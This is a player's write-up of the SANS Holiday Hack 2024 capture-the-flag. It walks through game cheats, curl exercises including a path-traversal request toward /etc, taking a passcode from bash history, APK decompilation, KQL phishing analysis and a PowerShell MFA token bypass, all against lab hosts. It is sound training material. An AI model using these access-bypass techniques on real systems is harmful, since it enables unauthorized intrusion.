SANS Holiday Hack 2024 Write-Up

Another year of finishing SANS Holiday Hack! This year had some cool challenges involving ransomware reverse engineering, hardware hacking, MQTT, KQL, Elastic, mobile app exploitation, and even drone path analysis. One of the last challenges was cryptography-heavy and got me stuck for a while, but working with other players helped me get through. Thanks to SANS for another good challenge!

Elf Connect

Objective

Help Angel Candysalt connect the dots in a game of connections.

Hints

  • Easy: group three-four items together, solve the game normally
  • Hard: Someone got a high score of 50,000, way beyond the limit. Max score should be only 1,600. Use the browser dev tools console and look around - a variable named ‘score’ may exist.

Progress

Solved the easy portion the correct, “Connections” way.

For the hard portion, I used the hint to dive into the browser dev tools console, and I found the client-side variable score.

Since this was client-side, and I had full control of it, I used the console to update the value:

score = 60000;

I solved one of the connections, to allow the game to check my score, and it updated to 60,100, solving the challenge.

Elf Minder 9000

Objective

Assist Poinsettia McMittens with playing a game of Elf Minder 9000.

Hints

  • Elf Minder 9000: RTD (Read the Docs): Read the “Help” section thoroughly! You will learn how to use the tools necessary to safely guide your elf and collect all the crates.
  • Elf Minder 9000: Reusable Paths: Some levels will require you to click and rotate paths in order for your elf to collect all the crates.
  • Elf Minder 9000: TODO: When developing a video game-even a simple one-it’s surprisingly easy to overlook an edge case in the game logic, which can lead to unexpected behavior. “I’ve run into some weirdness with the springs though”. She also mentions the word “comment” in bold.

Progress

Halfway through just playing the game like normal, I found a “fix this” code comment in the Javascript relating to springs, but couldn’t quite understand it.

        if (this.isPointInAnySegment(nextPoint) || entityHere) {
            if (entityHere) return this.segments[0][0]; // fix this
            return nextPoint;
        } else {
            return;

Writing it out as pseudocode:

If the next tile is part of a path segment, or is a portal or spring:
	If the next tile is a portal or spring:
		Return segments[0][0]  # What is segments[0][0]?

So, I should experiment with lining up multiple springs with eachother (or portals).

Found it! Segments[0][0] is the start point. If you line up two springs in the jump path with each other, instead of continuing the jump, it resets you back to 0. Is that helpful? We’ll see.

It’s not actually the home point, it is the beginning of the line segment you’re on (if you break the home segment line first). Which you can shorten, real-time by rotating pieces of the segment during the game. That may be helpful.

Think you can only jump back to a straight line segment.

I ended up just solving the silver challenges in the gamified way, without exploiting that bug.

cURLing

Objective

Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with web servers and retrieve information like a pro!

Hints

  • Read the man page
  • “Don’t squash”: Take a look at cURL’s “–path-as-is” option; it controls a default behavior that you may not expect!

Progress

1) Curl this webserver at port 8080

alabaster@curlingfun:~$ curl http://curlingfun:8080
You have successfully accessed the site on port 8080!

If you need help, please remember to run "hint" for a hint!

2) Embedded devices often use self-signed certificates, where your browser will not trust the certificate presented. Use curl to retrieve the TLS-protected web page at https://curlingfun:9090/

alabaster@curlingfun:~$ curl https://curlingfun:9090 -k
You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.

If you need help, please remember to run "hint" for a hint!

3) Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter “skip” set to the value “alabaster”, declaring Alabaster as the team captain.

alabaster@curlingfun:~$ curl https://curlingfun:9090 -k -d skip=alabaster
You have successfully made a POST request!

4) Working with APIs and embedded devices often requires maintaining session state by passing a cookie. Use curl to send a request to https://curlingfun:9090/ with a cookie called “end” with the value “3”, indicating we’re on the third end of the curling match.

alabaster@curlingfun:~$ curl https://curlingfun:9090 -k --cookie "end=3"
You have successfully set a cookie!

5) Working with APIs and embedded devices sometimes requires working with raw HTTP headers. Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/

alabaster@curlingfun:~$ curl https://curlingfun:9090 -k -v
<snip>
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 22 Nov 2024 15:25:49 GMT
< Content-Type: text/plain;charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Custom-Header: You have found the custom header!

6) Working with APIs and embedded devices sometimes requires working with custom HTTP headers. Use curl to send a request to https://curlingfun:9090/ with an HTTP header called “Stone” and the value “Granite”.

alabaster@curlingfun:~$ curl https://curlingfun:9090 -k --header "Stone: Granite"
You have successfully set a custom HTTP header!

7) curl will modify your URL unless you tell it not to. For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/../../etc/hacks

alabaster@curlingfun:~$ curl https://curlingfun:9090/../../etc/hacks -k --path-as-is
You have successfully utilized --path-as-is to send a raw path!

Used hint here

Frosty Keypad

Objective

In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa’s lost secrets?

Hints

  • Who Are You Calling a Dorf?: Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a National Treasure!
  • Just Some Light Reading: See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by…
  • Shine Some Light on It: Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch…but…what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used…

Progress

Found a UV flashlight and the Frosty Book near the area.

The book leads to this URL: https://frost-y-book.com/

Putting the UV light on the keypad revealed the numbers 2,6,7,8.

It seems like we can cross reference the numbers in the challenge sticky note with the book somehow. After trial and error, the syntax appeared to be:

page number: word number : letter number

Following that formula, the digits spell SANTA. If I treat this like a phone number, then the corresponding digits are 72682. That code unlocked the shredder.

Hardware Hacking 101 Part 1

Objective

Ready your tools and sharpen your wits—only the cleverest can untangle the wires and unlock Santa’s hidden secrets!

Jingle all the wires and connect to Santa’s Little Helper to reveal the merry secrets locked in his chest!

Hints

  • On the Cutting Edge: Hey, I just caught wind of this neat way to piece back shredded paper! It’s a fancy heuristic detection technique—sharp as an elf’s wit, I tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec: heuristic_edge_detection.py.”
  • Shredded to Pieces: Have you ever wondered how elves manage to dispose of their sensitive documents? Turns out, they use this fancy shredder that is quite the marvel of engineering. It slices, it dices, it makes the paper practically disintegrate into a thousand tiny pieces. Perhaps, just perhaps, we could reassemble the pieces?

Progress

I grabbed the supplied Python script and installed the Python libraries it needed: pillow and numpy.

The script wanted the slices/ directory beside it, and that was supplied from the last challenge. Running the script generated the assembled_image.png

The image is intentionally hard to read, flipping it helped. Iit provides the following serial settings:

BAUD: 115200
PARITY: EVEN
DATA: 7 BITS
STOP BITS: 1 BIT
FLOW CONTROL: RTS

Attempting to connect to the hardware, I had a few issues:

  • Wasn’t sure what the GRTV label was. ChatGPT had the idea that it was an acronym for “GND, RX, TX, and VCC” and that denoted where to connect the GPIO pins.
  • Wasn’t sure which voltage to use - 3 or 5. Basically tried both until it worked.
  • Was using the wrong port for a while - it needed to be USB0.
  • Apparently TX and RX must be swapped when connecting a UART device to your machine. Got the idea here: https://www.secureideas.com/blog/hardware-hacking-interfacing-to-uart-with-your-computer

This is the configuration that ended up working:

Hardware Hacking 101 Part 2

Objective

Santa’s gone missing, and the only way to track him is by accessing the Wish List in his chest—modify the access_cards database to gain entry!

We need to access the terminal and modify the access database. We’re looking to grant access to card number 42.

Start by using the slh application - that’s the key to getting into the access database. Problem is, the slh tool is password-protected, so we need to find it first.

Once you find it, modify the entry for card #42 to grant access.

Hints

  • Hidden in Plain Sight: It is so important to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI (Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step back in history and identify the password.
  • It’s In the Signature: I seem to remember there being a handy HMAC generator included in CyberChef.

Progress

The cards are in a table with columns:

Id, uuid, access, signature
(1, 'b1709de8-9156-4af3-8816-2d2b602add1c', 1, '89a91da4617f5cab84a6387f2f5a6c1dee4134fb77be87c78c0ec053a343e155')

This is the card in question (42):

slh@slhconsole\> slh --view-card 42
Details of card with ID: 42
(42, 'c06018b6-5e80-4395-ab71-ae5124560189', 0, 'ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd')

If I try to grant full access to that card, I get:

slh@slhconsole\> slh --set-access 1 --id 42
Invalid passcode. Access not granted.

Using the hint, we can look at the bash history with history and find a passcode “CandyCaneCrunch77”.

slh@slhconsole\> slh --set-access 1 --id 42 --passcode CandyCaneCrunch77

       *   *   *   *   *   *   *   *   *   *   *
   *                                             *
*      ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄     *
 *  $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$$\  $$$$$$\   $$$$$$\  * 
  * $$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$\ *
   *$$ /  $$ |$$ /  \__|$$ /  \__|$$ |      $$ /  \__|$$ /  \__| *
    $$$$$$$$ |$$ |      $$ |      $$$$$\    \$$$$$$\  \$$$$$$\   
   *$$  __$$ |$$ |      $$ |      $$  __|    \____$$\  \____$$\  *
  * $$ |  $$ |$$ |  $$\ $$ |  $$\ $$ |      $$\   $$ |$$\   $$ | *
*   $$ |  $$ |\$$$$$$  |\$$$$$$  |$$$$$$$$\ \$$$$$$  |\$$$$$$  |   *
 *  \__|  \__| \______/  \______/ \________| \______/  \______/  *
*         *    ❄             ❄           *        ❄    ❄    ❄   *
   *        *     *     *      *     *      *    *      *      *
   *  $$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\  $$\  *
   * $$  __$$\ $$  __$$\ $$  __$$\ $$$\  $$ |\__$$  __|$$  _____|$$  __$$\ $$ | *
  *  $$ /  \__|$$ |  $$ |$$ /  $$ |$$$$\ $$ |   $$ |   $$ |      $$ |  $$ |$$ |*
  *  $$ |$$$$\ $$$$$$$  |$$$$$$$$ |$$ $$\$$ |   $$ |   $$$$$\    $$ |  $$ |$$ | *
 *   $$ |\_$$ |$$  __$$< $$  __$$ |$$ \$$$$ |   $$ |   $$  __|   $$ |  $$ |\__|*
  *  $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |\$$$ |   $$ |   $$ |      $$ |  $$ |   *
*    \$$$$$$  |$$ |  $$ |$$ |  $$ |$$ | \$$ |   $$ |   $$$$$$$$\ $$$$$$$  |$$\ *
 *    \______/ \__|  \__|\__|  \__|\__|  \__|   \__|   \________|\_______/ \__|  *
  *                                                            ❄    ❄    ❄   *
   *      *    *    *    *    *    *    *    *    *    *    *    *    *    *                                                                                                                                        

Card 42 granted access level 1.

Mobile Analysis

Objective

Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes for more information.

This android app is a modern alternative to Santa’s Naughty-Nice list. There is a debug and a release version of the app.

Eve accidentally left out a child’s name on each version, but she can’t remember who.

Start with the Debug version and figure out which child’s name isn’t shown in the list within the app.

Hints

  • Tools - Try using apktool or jadx
  • Missing - Maybe look for what names are included and work back from that?

Progress

Downloaded jadx-gui and opened Santa_Swipe.apk (the Debug version).

I searched for a few text strings, but found “DatabaseHelper” after searching for “list”. This code revealed that this app read the list of children from a SQLite db named “naughtynicelist.db”.

This is the full list of children:

        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Carlos, Madrid, Spain');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Aiko, Tokyo, Japan');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Maria, Rio de Janeiro, Brazil');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Liam, Dublin, Ireland');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Emma, New York, USA');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Chen, Beijing, China');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Fatima, Casablanca, Morocco');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Hans, Berlin, Germany');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Olga, Moscow, Russia');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ravi, Mumbai, India');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Amelia, Sydney, Australia');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Juan, Buenos Aires, Argentina');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sofia, Rome, Italy');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ahmed, Cairo, Egypt');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Yuna, Seoul, South Korea');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ellie, Alabama, USA');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Lucas, Paris, France');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Mia, Toronto, Canada');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sara, Stockholm, Sweden');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ali, Tehran, Iran');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Nina, Lima, Peru');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Anna, Vienna, Austria');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Leo, Helsinki, Finland');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Elena, Athens, Greece');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Davi, Sao Paulo, Brazil');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Marta, Warsaw, Poland');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Noah, Zurich, Switzerland');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ibrahim, Ankara, Turkey');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Emily, Wellington, New Zealand');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Omar, Oslo, Norway');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Fatou, Dakar, Senegal');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Olivia, Vancouver, Canada');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ethan, Cape Town, South Africa');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Santiago, Bogota, Colombia');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Isabella, Barcelona, Spain');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ming, Shanghai, China');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Chloe, Singapore, Singapore');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Mohammed, Dubai, UAE');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ava, Melbourne, Australia');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Luca, Milan, Italy');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sakura, Kyoto, Japan');");
        db.execSQL("INSERT INTO NormalList (Item) VALUES ('Edward, New Jersey, USA');");

The hint says to work backwards from here. So, I launched the app in an online APK emulator and went down the list of children, comparing it to the above list, until I found a discrepancy.

The missing child was Ellie, from Alabama.

Snowball Showdown

Objective

Wombley has recruited many elves to his side for the great snowball fight we are about to wage. Please help us defeat him by hitting him with more snowballs than he does to us.

Hints

Progress

The first objective is to get into single player mode, which doesn’t look immediately accessible from the menus. Looking at the Javascript, I can see a function and variable of note:

    var singlePlayer = "false"
    function checkAndUpdateSinglePlayer() {
      const localStorageValue = localStorage.getItem('singlePlayer');
      if (localStorageValue === 'true' || localStorageValue === 'false') {
        singlePlayer = String(localStorageValue === 'true');
      }
      const urlParams = new URLSearchParams(window.location.search);
      const urlValue = urlParams.get('singlePlayer');
      if (urlValue === 'true' || urlValue === 'false') {
        singlePlayer = String(urlValue === 'true');
      }
    }

Apparently it checks a URL parameter, and sure enough, in my URL of a private room, I can see singlePlayer=false. I change that in my URL to true, and the game starts.

The next objective is to cheat a bit and make my character better (maybe faster?).

After poking around the code for a while, I found the Constructor for the game object containing many variables relating to player speed and positioning. I enabled Local Overrides in Chrome DevTools and modified the following variables:

        this.playerMoveSpeed = 500;
        this.throwSpeed = 5000;
        this.throwRateOfFire = 800;
        this.projectileCollisionDetectionRate = 0;
        this.healingTerrain = false;

Of note, I disabled the healingTerrain and increased my snowball speed manyfold. I used that fast snowball speed to break through the terrain separating us from Wombley, and made it to the other side before I was able to pelt him with snowballs at point blank range for the win.

Microsoft KC7

Objective

Answer two sections for silver, all four sections for gold.

Hints

  • KQL 101: Learn and practice basic KQL queries to analyze data logs for North Pole operations.
  • Operation Surrender: Investigate a phishing attack targeting Wombley’s team, uncovering espionage activities.

Progress

Section 1

1) How many elves did you find? 90

Employees
| count 

2) Can you find out the name of the Chief Toy Maker? Shinny Upatree

Employees
| where role == "Chief Toy Maker"

3) How many emails did Angel Candysalt receive? 31 emails

Employees
| where name == "Angel Candysalt"

Email
| where recipient == "angel_candysalt@santaworkshopgeeseislands.org"
| count

4) How many distinct recipients were seen in the email logs from twinkle_frostington@santaworkshopgeeseislands.org? 32

Email
| where sender has "twinkle_frostington@santaworkshopgeeseislands.org"
| distinct recipient
| count

5) How many distinct websites did Twinkle Frostington visit? 4

Employees
| where name == "Twinkle Frostington"

OutboundNetworkEvents
| where src_ip == "10.10.0.36"
| distinct url
| count

6) How many distinct domains in the PassiveDns records contain the word green? 10

PassiveDns
| take 10

PassiveDns
| where domain contains "green"
| distinct domain
| count

7) How many distinct URLs did elves with the first name Twinkle visit? 8

let twink_ips = 
Employees
| where name has "Twinkle"
| distinct ip_addr;

OutboundNetworkEvents
| where src_ip in (twink_ips)
| distinct url
| count

Section 2

1) Who was the sender of the phishing email that set this plan into motion? surrender@northpolemail.com

Email
| where subject has "surrender"

2) How many elves from Team Wombley received the phishing email? 22

Email
| where subject contains "surrender"
| distinct recipient
| count

3) What was the filename of the document that Team Alabaster distributed in their phishing email? Team_Wombley_Surrender.doc

Email
| where subject contains "surrender"

4) Who was the first person from Team Wombley to click the URL in the phishing email? Joyelle Tinseltoe

Employees
| join kind=inner (
    OutboundNetworkEvents
) on $left.ip_addr == $right.src_ip // condition to match rows
| where url contains "Team_Wombley_Surrender.doc"
| project name, ip_addr, url, timestamp // project returns only the information you select
| sort by timestamp asc //sorts time ascending

5) What was the filename that was created after the .doc was downloaded and executed? keylogger.exe

Employees
| where name == "Joyelle Tinseltoe"

ProcessEvents
| where timestamp between(datetime("2024-11-27T14:11:45Z") .. datetime("2024-11-27T15:11:45Z"))
| where hostname == "Elf-Lap-W-Tinseltoe"

Drone Path

Objective

Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who is hiding inside the DMZ.

Hints

  • I think they hide the admin password in the drone flight logs
  • You’ll be working with KML files, tracking drone flight paths.
  • Use tools like Google Earth and some Python scripting to decode the hidden passwords and codewords locked in those files

Progress

There is one KML file available without logging in: fritjolf-Path.kml

I imported that file into Google Earth to find GUMDROP1 spelled over Antarctica:

One can surmise that is a password. What is the username though? After guessing for a while, it ended up being the name in the file - fritjolf.

After logging in, in my profile, there is important info: “Note to self, remember drone name, it is the same location as secret snowball warehouses /files/secret/Preparations-drone-name.csv”

The CSV file contained a series of coordinates, so I wrote a Python script to ingest each lat/long and convert it to a KML file:

import csv
import simplekml

filename = 'Preparations-drone-name.csv'

kml = simplekml.Kml()

with open(filename, 'r') as csvfile:
    datareader = csv.reader(csvfile)

    headers = next(datareader)
    long_index = headers.index("OSD.longitude")
    lat_index  = headers.index("OSD.latitude")

    for row in datareader:
        long = row[long_index]
        lat  = row[lat_index]
        kml.newpoint(name="Placemark", coords=[(long, lat)])

    kml.save("coordinates.kml")

Importing the output coordinates.kml file into Google Earth revealed the points in Australia, but there seemed to be no correlation. On further inspection, zooming into the coordinates, shapes of letters are visible. If each letter is read in order, they read:

ELF-HAWK

That is the name of a drone. We can plug that into the “Search for a Drone” website feature. That returns the following information:

“””
Drone Details
Name: ELF-HAWK, Quantity: 40, Weapons: Snowball-launcher
Comments for ELF-HAWK
These drones will work great to find Alabasters snowball warehouses. I have hid the activation code in the dataset ELF-HAWK-dump.csv. We need to keep it safe, for now it's under /files/secret.

We need to make sure we have enough of these drones ready for the upcoming operation. Well done on hiding the activation code in the dataset. If anyone finds it, it will take them a LONG time or forever to carve the data out, preferably the LATTER.
“””

We are given a new CSV file - ELF-HAWK-dump.csv that somehow contains the activation code that makes you admin.

I passed that CSV into the same Python script and imported it into Google Earth, but it isn’t readable. I see some letters or numbers formed, so that gave me the thought that maybe it can’t be read in 3D.

I wrote a quick Python script to visualize the KML file with geopandas and matplotlib and got the following readable image, containing the flag:

import geopandas as gpd
import matplotlib.pyplot as plt

# Read the KML file
gdf = gpd.read_file("elf-hawk-dump.kml", driver="KML")

# Plot the geometries
gdf.plot()
plt.show()

PowerShell

Objective

Team Wombley is developing snow weapons in preparation for conflict, but they’ve been locked out by their own defenses. Help Piney with regaining access to the weapon operations terminal.

Hints

Progress

1)

PS /home/user> type welcome.txt
System Overview

2)

PS /home/user> Get-Content ./welcome.txt | Measure-Object -Word

Lines Words Characters Property
----- ----- ---------- --------
        180           

3) There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?

PS /home/user> netstat -a                        
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost:1225          0.0.0.0:*               LISTEN     
tcp6       0      0 172.17.0.10:36024       52.188.247.150:443      ESTABLISHED
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     941445703 /tmp/tmux-1050/default
unix  2      [ ACC ]     STREAM     LISTENING     941461926 /tmp/dotnet-diagnostic-206-63978205-socket
unix  2      [ ACC ]     STREAM     LISTENING     941461115 /tmp/CoreFxPipe_PSHost.DB412F83.206.None.pwsh
unix  3      [ ]         STREAM     CONNECTED     941446867 
unix  3      [ ]         STREAM     CONNECTED     941445017 /tmp/tmux-1050/default

4)

PS /home/user> Invoke-WebRequest -URI http://localhost:1225                                
Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED).

5)

PS /home/user> Invoke-WebRequest -URI http://localhost:1225 -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication

6) There are too many endpoints here. Use a loop to download the contents of each page. What page has 138 words? When you find it, communicate with the URL and print the contents to the terminal.

PS /home/user> for ($i = 1; $i -lt 51; $i++) { Invoke-WebRequest -URI http://localhost:1225/endpoints/$i -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | Measure-Object -Word | Where-Object { $_.Words -eq 138 } | ForEach-Object { echo $i } }
13

PS /home/user> Invoke-WebRequest -URI http://localhost:1225/endpoints/13 -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication 
                                                                                               
StatusCode        : 200
StatusDescription : OK
Content           : <html><head><title>MFA token scrambler</title></head><body><p>Yuletide che
                    er fills the air,<br>    A season of love, of care.<br>    The world is br
                    ight, full of light,<br>    As we celebrate this spe
RawContent        : HTTP/1.1 200 OK
                    Server: Werkzeug/3.0.6
                    Server: Python/3.10.12
                    Date: Thu, 28 Nov 2024 04:01:26 GMT
                    Connection: close
                    Content-Type: text/html; charset=utf-8
                    Content-Length: 981
                    
                    <html><head><title>MFA t
Headers           : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S
                    tring[]], [Content-Type, System.String[]]}
Images            : {}
InputFields       : {}
Links             : {}
RawContentLength  : 981

7) There seems to be a csv file in the comments of that page. That could be valuable, read the contents of that csv-file!

PS /home/user> Invoke-WebRequest -URI http://localhost:1225/endpoints/13 -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | select-object -ExpandProperty Content
<html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br>    A season of love, of care.<br>    The world is bright, full of light,<br>    As we celebrate this special night.<br>    The tree is trimmed, the stockings hung,<br>    Carols are sung, bells are rung.<br>    Families gather, friends unite,<br>    In the glow of the fires light.<br>    The air is filled with joy and peace,<br>    As worries and cares find release.<br>    Yuletide cheer, a gift so dear,<br>    Brings warmth and love to all near.<br>    May we carry it in our hearts,<br>    As the season ends, as it starts.<br>    Yuletide cheer, a time to share,<br>    The love, the joy, the care.<br>    May it guide us through the year,<br>    In every laugh, in every tear.<br>    Yuletide cheer, a beacon bright,<br>    Guides us through the winter night </p><p> Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv</p></body></html>


PS /home/user> Invoke-WebRequest -URI http://localhost:1225/token_overview.csv -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | select-object -ExpandProperty Content 

8) Luckily the defense mechanisms were faulty! There seems to be one api-endpoint that still isn’t redacted! Communicate with that endpoint!

PS /home/user> Invoke-WebRequest -URI http://localhost:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication 
                                                                                               
StatusCode        : 200
StatusDescription : OK
Content           : <h1>[!] ERROR: Missing Cookie 'token'</h1>
RawContent        : HTTP/1.1 200 OK
                    Server: Werkzeug/3.0.6
                    Server: Python/3.10.12
                    Date: Thu, 28 Nov 2024 04:09:58 GMT
                    Connection: close
                    Content-Type: text/html; charset=utf-8
                    Content-Length: 42
                    
                    <h1>[!] ERROR: Missing Co
Headers           : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S
                    tring[]], [Content-Type, System.String[]]}
Images            : {}
InputFields       : {}
Links             : {}
RawContentLength  : 42
RelationLink      : {}

9) It looks like it requires a cookie token, set the cookie and try again.

PS /home/user> Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication | Select-Object -ExpandProperty Content 
<h1>Cookie 'mfa_code', use it at <a href='1732771277.685112'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>


Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -websession $session -Credential $cred -AllowUnencryptedAuthentication | Select-Object -ExpandProperty Content 

10) Sweet we got a MFA token! We might be able to get access to the system. Validate that token at the endpoint!

PS /home/user> Invoke-WebRequest -URI http://127.0.0.1:1225//mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvakue" } -Credential $cred -AllowUnencryptedAuthentication


<h1>[!] System currently in lock down</h1><br><h1>[-] ERROR: Missing Cookie 'mfa_token'</h1>



PS /home/user> $request = Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication; $tokenvalue = $request.Links.outerHTML.SubString(9,18); $mfareq = Invoke-WebRequest -URI http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvalue" } -Credential $cred -AllowUnencryptedAuthentication; $mfareq.Content
<h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>

11) That looks like base64! Decode it so we can get the final secret!

Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction

But I need to do it in PS.

PS /home/user> $request = Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication; $tokenvalue = $request.Links.outerHTML.SubString(9,18); $mfareq = Invoke-WebRequest -URI http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvalue" } -Credential $cred -AllowUnencryptedAuthentication; $encoded = $mfareq.Content.SubString(27,195); [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

Almost works, but I need to do better substring stuff. Here’s final answer:

PS /home/user> $request = Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication; $tokenvalue = $request.Links.outerHTML.SubString(9,18); $mfareq = Invoke-WebRequest -URI http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvalue" } -Credential $cred -AllowUnencryptedAuthentication; $encoded = $mfareq.Content.split("<p>"); $encoded = $encoded[1].split("</p>")[0]; [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction

Elf Stack

Objective

Help the ElfSOC analysts track down a malicious attack against the North Pole domain.

